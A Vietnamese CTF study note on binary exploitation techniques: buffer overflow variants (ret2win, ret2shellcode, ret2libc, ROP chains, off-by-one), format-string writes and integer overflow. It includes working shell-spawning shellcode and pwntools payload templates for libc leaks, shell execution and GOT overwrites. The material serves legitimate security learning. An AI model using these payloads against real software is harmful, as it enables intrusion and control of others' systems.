# Buffer Overflow - tóm tắt về kỹ thuật trên, là lỗi tràn biến thông dụng - ta có thể lợi dụng lỗi này để chèn vào file 1 shellcode (mã độc) để nắm quyền kiểm soát hoặc đưa chương trình chạy về hàm mình mong muốn - có nhiều cách khai thác như > ret2win > ret2shellcode > ret2libc > ROPchain > OW rbp thay đổi biến > OW rbp thay đổi luồng thực thi > OffByOne > ... ## ret2win - "**win**" ở đây đơn giản là tên gọi chung của hàm lấy flag hoặc cho ta shell, thông thường hàm này sẽ không display trên **main** - vì vậy để lấy flag hoặc shell thì ta cần điều hướng đi từ **main** về đích là **win** - kỹ thuật này ta cần tìm offset để save_$rbp, sau đó truyền dữ liệu địa chỉ mà hàm ta muốn trỏ tới - khá giống với cách jump, thì ở đây ta đã save_rbp thì dữ liệu tiếp theo ta phải save_rip với dữ liệu đó là địa chỉ **win** - có thể leak địa chỉ hàm **win** từ gdb ``p&win`` hoặc ta có thể sử dụng ``exe.sym['win']`` (nếu PIE tĩnh hoặc xác định được exe_base) :::info - khi ta đã tiến vào trong hàm **win**, chương trình sẽ tiếp tục cộng trừ nhân chia gì đó cho stack - tuỳ chall sẽ khiến cho stack không chia hết 16, việc ta cần làm là skip qua lệnh cộng trừ đó - thông thường là sau câu lệnh ***push*** hoặc thêm địa chỉ **ret** để thêm 8 byte > thường thấy là lỗi ``xmm0`` , ``xmm1`` > [xem thêm](https://hackmd.io/@whoisthatguy/SIGSEGVXMM#4-Bypass) ::: ## ret2shellcode - kỹ thuật này ta sẽ sài khi file k có hàm đọc flag hay system, và kiểm tra checksec có **NX** tắt (stack thực thi được) ### 64 bits - shellcode ta sẽ truyền thông qua hợp ngữ asm - thanh ghi chủ chốt để tạo shell ```asm $rax : 0x3b $rdi : <addr> ---> 0x68732f6e69622f ('/bin/sh') $rdx : 0x0 $rsi : 0x0 ``` - shellcode mẫu cho file 64 bits ```asm mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ``` - $rdi phải trỏ tới đỉnh stack ![](https://i.imgur.com/zYMCZWK.png) > tuỳ 1 số bài mà ta phải viết shellcode custom (tự nó sửa chính nó hoặc call để làm 1 việc khác ngoài lấy shell) ### 32 bits - thanh ghi chủ chốt để tạo shell ```asm $eax : 0xb $ebx : <addr> ---> 0x6e69622f ('/bin') ... (nối đuôi)'//sh' $ecx : 0x0 $edx : 0x0 ``` - shellcode mẫu cho file 32 bits ```asm xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax push eax pop ecx pop edx mov al,0xb int 0x80 ``` ## ret2libc - thông thường kĩ thuật này ta phải get_shell, là sẽ không có hàm đọc flag và ngoài ra ta phải leak thêm địa chỉ libc - hầu hết trong libc sẽ có lệnh system - ta có thể tải các phiên bản libc tại đây [link1](https://libc.blukat.me/) ; [link2](https://libc.rip/) - kĩ thuật này ta cũng cần tính libc base, tức là địa chỉ nhỏ nhất của libc để từ đó mình thực thi system cho chính xác - 2 khái niệm **GOT** và **PLT**: - GOT : ***Global Offset Table*** #chứa địa chỉ hàm trong libc - PLT : ***Procedure Linkage Table*** #thực thi hàm trong GOT - ta có thể lấy GOT 1 trong các hàm có ở file, dùng gdb để kiểm tra với cú pháp ``got`` - ta sẽ lựa chọn khôn ngoan chọn hàm sao cho ít đòi hỏi nhiều về các arg (thông thường là 'puts') ### 64 bits - tuỳ file mà sau khi leak dc libc là end chương trình, lúc này ta sẽ cho thực thi hàm 1 lần nữa bằng cách chạy lại hàm main ``exe.sym['main']`` - xong xuôi, ta cần thêm thanh ghi $rdi để trỏ tới chuỗi '/bin/sh' ``next(libc.search(b'/bin/sh))`` - rồi thực thi lệnh system ``libc.sym['system']`` - payload mẫu: ```python #leaking payload = b'A'*8 #padding payload += b'B'*8 #save_rbp payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) #get_shell payload = b'A'*8 #padding payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(libc.sym['system']) ``` ### 32 bits - khác với file 64 bits ở chỗ các arg được **push** vào thanh ghi thông qua stack - payload mẫu: ```python #leaking payload = b'a'*4 #padding payload += p32(exe.plt['puts']) payload += p32(exe.sym['main']) payload += p32(exe.got['puts']) #get_shell payload = b'A'*4 #padding payload += p32(libc.sym['system']) payload += b'B'*8 #return system payload += p32(next(libc.search(b'/bin/sh\0'))) ``` ## ROPchain - kỹ thuật này để tìm các thanh ghi nhằm chỉnh sửa tham số từng thanh ghi cho mục đích khai thác - ví dụ: ```bash $ ROPgadget --binary <file> | grep "pop rax" ``` - với tham số truyền vào ta có thể lấy trong: [linux syscall table](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md) ```gef # ví dụ tham số để gọi execve ---> get_shell $rax : 0x3b $rdi : <addr> → 0x68732f6e69622f ("/bin/sh"?) $rsi : 0x0 $rdx : 0x0 $rip : <addr> -> syscall ``` - hoặc ta có thể làm vs cú pháp sau ```bash $ ROPgadget --binary <file> --ropchain ``` - còn 1 tool khác cũng tìm các đoạn nhỏ của chương trình cho ta là ``ropper`` ```bash $ ropper -f <file> ``` ## Off_by_One - đây là dạng bug thường gặp trong hàm **scanf()** (fmtstr là %s) ![](https://hackmd.io/_uploads/HJ8fH0ei2.png) > tự động thêm NULL byte vào cuỗi mỗi chuỗi - là khi mình nhập đủ lượng byte cho phép của hàm **scanf()** thì byte cuối chuỗi mình truyền vào sẽ add thêm NULL byte ---> đồng nghĩa với việc lỗi BOF (tràn 1 byte NULL) - thay đổi được địa chỉ tiếp theo ---> least significant byte - khi thay đổi được 1 byte cuối (có thể trên stack), đồng nghĩa với việc tại địa chỉ (cũ) đó sẽ bị dựt lên trên - và mục tiêu để khai thác sẽ đa dạng tuỳ theo bài (maybe brute force, v.v..) > khó mà đưa ra hướng khai thác chung lắm, chỉ còn cách gặp nó mà biết > hoặc tham khảo nhiều nguồn mà học # Format String - đây là dạng kỹ thuật hoàn toàn mới, khi gặp những bài không có tràn biến (BOF) hoặc bài nhập vào r có 1 hàm in lại những gì mình nhập > chủ yếu hàm **printf()** mà không có format - tới bài này, thường thường payload ta sẽ chèn toán tử (câu lệnh của python) *f* ' ' thay vì *b* ' ' - *f* ' ' là truyền dữ liệu vào 1 cái chuỗi mà k cần dùng toán tử + - 5 arg đầu sẽ nằm trên thanh ghi, ở % thứ 6 sẽ nằm trên stack (file 64 bits) > 32 bits sẽ nằm hết trên stack - lấy | sửa | ghi địa chỉ ở stack thứ **x** sẽ dùng cú pháp ``%x$X`` với **x** là vị trí ta muốn fmt, **X** là dạng fmt ## %p - leak địa chỉ ## %s - leak dữ liệu chứa trong địa chỉ (đa số là dữ liệu chứa trong heap) ## %c và %n - đọc(đếm) và ghi(thay đổi) - %n là ghi 4 byte - %hn là ghi 2 byte - %hhn là ghi 1 byte (bội số của 2) ### package ```python package = { gadget & 0xffff: ow_addr, gadget >> 16 & 0xffff: ow_addr+2, gadget >> 32 & 0xffff: ow_addr+4, } order = sorted(package) ``` - với `gadget` là địa chỉ muốn ow thành, còn `ow_addr` là địa chỉ muốn bị ow - điều này giúp ta ghi đè 1 addr thành 1 addr khác thông qua bug fmtstr - ``package[i]`` sẽ chứa địa chỉ (2 bytes) sẽ bị ow - còn `sorted(pakage)` để sắp xếp thứ tự byte tăng dần > để '%c' chính xác hơn - ví dụ: ```python got: 0x404018 system: 0x7fc51f8fdd70 order[0]: 0x1f8f order[1]: 0x7fc5 order[2]: 0xdd70 package[order[0]]: 0x40401a package[order[1]]: 0x40401c package[order[2]]: 0x404018 ``` - về payload, ta sẽ chain hợp lí để nó ow chính xác ```python payload = f'%{order[0]}c%13$hn'.encode() payload += f'%{order[1] - order[0]}c%14$hn'.encode() payload += f'%{order[2] - order[1]}c%15$hn'.encode() payload = payload.ljust(64-24,b'a') payload += flat( package[order[0]], package[order[1]], package[order[2]], ) ``` >payload mẫu trên >64 là lượng ta muốn padding >24 là 3 địa chỉ của package ## định dạng con '*' - lưu ý '*' ở đây là toán tử, không còn là con trỏ như trong C (dễ bị nhầm lẫn) - dấu '*' tương tự như in padding - payload mẫu ```python payload = f'%*14$c%15$hn' payload += p64(ow_addr) ``` >cần tại %14 là lượng byte ta muốn in padding >ở %15 là addr ta muốn ow >sau **printf()** sẽ lấy lượng byte ở %14 mà %c trỏ đến sau đó ghi vào %15 ## full form & short form - 2 khái niệm tương đối khác nhau ### fmt full form - full form thì nó sẽ thực thi lần lượt từng fmt từ trái sang phải ### fmt short form - short form là nó sẽ thực thi những thằng $ trước, xong mấy thằng ko có $ thì thực thi lần lượt từ trái sang phải # Interger Overflow - lỗi này là dạng tràn số nguyên, ép kiểu ## tràn số nguyên | Kiểu | Kích thước | Vùng giá trị | |:--------------:|:--------------:|:--------------------------------------------------------:| | char | 1 byte | -128 tới 127 hoặc 0 tới 255 | | unsigned char | 1 byte | 0 tới 255 | | signed char | 1 byte | -128 tới 127 | | int | 2 hoặc 4 bytes | -32,768 tới 32,767 hoặc -2,147,483,648 tới 2,147,483,647 | | unsigned int | 2 hoặc 4 bytes | 0 tới 65,535 hoặc 0 tới 4,294,967,295 | | short | 2 bytes | -32,768 tới 32,767 | | unsigned short | 2 bytes | 0 tới 65,535 | | long | 4 bytes | -2,147,483,648 tới 2,147,483,647 | | unsigned long | 4 bytes | 0 tới 4,294,967,295 | ![](https://i.imgur.com/29MAUxF.png) - lấy ví dụ ở đây, int có miền giá trị ==[-2,147,483,648 ; 2,147,483,647]== (tuỳ cách khai báo kiểu **_int** hay **_int64**), nếu ta nhập lớn hơn maximum của int 1 đơn vị, thì sẽ đếm lại thành 1. - nôm na giống đồng hồ công tơ mét. ``` công tơ mét xe số có 6 số bắt đầu từ 000000 kết thúc ở 999999 ta đi thêm 1 km nữa công tơ mét sẽ reset về 000000 (đúng hơn là [1]000000 nhưng do đồng hồ chỉ hiển thị 6 số) và dấu hiệu là xe mình đã đi hết 1 vòng cuộc đời kkk ``` - mẹo: với đơn vị hex thì byte 0x80.. sẽ là số âm, và 0x7f vẫn còn là dương. ``` long int dc nhập vào với giá trị 0x7fffffffffffffff sẽ là dương cực đại (9223372036854775807) ``` - mẹo: với đơn bị bin thì bit đầu tiên sẽ quyết định là số âm hay dương ``` 0b10001001 là số âm 0b01001001 là số dương theo chuẩn dữ liệu máy tính hiểu ``` ## ép kiểu - với hàm **scanf()** sẽ có nhiều kiểu format - và có 1 trick dành cho 1 kiểu format ==%lf== khá oái ăm (kiểu **double**) - ví dụ nếu ta nhập ``1`` , thì stack nó lại nhận ntn: ![](https://hackmd.io/_uploads/rJo356nGp.png) > $rdi hiểu là 0x31 (số 1) nhưng stack hiện tại là ``0x3ff0000000000000`` ![](https://hackmd.io/_uploads/H1Lvo6nGT.png) - trong python có cách convert về kiểu double: ```python payload = str(struct.unpack('d', p64(addr))[0]).encode() ################################################################################### payload = str(struct.unpack('d', b'\xff\xff\xff\xff\xff\xff\xff\xff')[0]).encode() ``` ## bypass - ngoài ra để không nhập gì vào stack với format ==%lf== (==%d==, ==%u==, ==%ld==...) thì ta dùng dấu `.` (chấm) # link support cho pwner - custom shellcode [page1](https://defuse.ca/online-x86-assembler.htm#disassembly) [page2](https://shell-storm.org/online/Online-Assembler-and-Disassembler/) - system call [here](https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/) - privillege escalation base on ``/usr/bin`` [here](https://gtfobins.github.io/) # CTF Note - https://hackmd.io/@trhoanglan04/note - https://hackmd.io/@trhoanglan04/tool